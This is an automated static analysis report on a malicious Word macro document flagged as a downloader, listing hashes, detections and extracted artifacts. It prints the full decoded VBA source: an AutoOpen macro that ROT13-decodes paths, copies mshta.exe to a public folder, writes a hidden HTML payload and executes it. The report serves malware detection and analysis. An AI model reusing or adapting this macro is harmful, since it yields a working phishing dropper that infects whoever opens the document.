Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f1deced0518ce8ee…

MALICIOUS

Office (OOXML)

70.5 KB Created: 2020-08-17 09:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: db897dce7d5e347e1494e784e6a1d42f SHA-1: 5d7578a9b5070a208b6fac0443dbc69abbd050df SHA-256: f1deced0518ce8ee4b605ae5059fa266dc0aec51ac95ebf4384e880dfc0d3f88
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that executes a function named 'main'. This function appears to deobfuscate and potentially copy or execute embedded content. The presence of the 'Shell.Exec' method and the deobfuscation routines strongly suggest the execution of a malicious payload. The ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2186 bytes
SHA-256: 33c4f3fbff20604af0dee7586517a61661fefe31a2f87f8aaee660f23bed6962
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aeDycX"
Function aNnJV7()
aNnJV7 = frm.txt.text
End Function
Public Function abStM(aVPfei)
abStM = a4Ovk(Replace(aVPfei, a8iPvN, ""))
End Function
Sub AutoOpen()
main
End Sub
Public Sub aEQs6(ayfzj)
Set aS9Yj = New WshShell
aS9Yj.exec ayfzj
End Sub

Attribute VB_Name = "apL8MF"
Public Const a54Sa As String = "p,:,\,j,v,a,q,b,j,f,\,f,l,f,g,r,z,3,2,\,z,f,u,g,n,.,r,k,r,"
Public Const aj0xH As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,p,b,z,"
Public Const apUFE As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,u,g,z,y,"
Public Const a8iPvN As String = ","
Public Function aCXk0e(alcfk, aQfqs0)
FileNumber = FreeFile
Open alcfk For Output As #FileNumber
Print #FileNumber, Spc(28224 / 147)
Print #FileNumber, aQfqs0
Print #FileNumber, Spc(28224 / 147)
Close #FileNumber
End Function
Sub aSM01(a7SdUK, a54Nf)
FileCopy a7SdUK, a54Nf
End Sub
Public Function a4Ovk(ByVal s As String, Optional ByVal r As Integer = 13) As String
    Dim c, f, i As Long
    For i = 1 To Len(s)
        c = Asc(Mid(s, i, 1))
        If c >= 97 And c <= 122 Then
            f = 97
        ElseIf c >= 65 And c <= 90 Then f = 65
        Else: GoTo Build: End If
        c = r + c - f
        Do: c = c Mod 26: Loop While c > (26 - 1)
        c = c + f
Build:         a4Ovk = a4Ovk & Chr(c)
    Next i
End Function

Attribute VB_Name = "a8K5nk"
Sub main()
aokvC = abStM(a54Sa)
aVhgwz = abStM(aj0xH)
aHvSo = abStM(apUFE)
aSM01 aokvC, aVhgwz
aCXk0e aHvSo, a4Ovk(aNnJV7)
aEQs6 (aVhgwz & " " & aHvSo)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{E2931B4D-3C5F-4D9D-B586-36CDC750168D}{F9B42F23-3ADD-4D5A-ADFB-387C0EB5DBF6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 50688 bytes
SHA-256: 483b62e32b3ed125645364ba0a832e3029d1bdf0cc8b75a7f8ecb9186ebac950
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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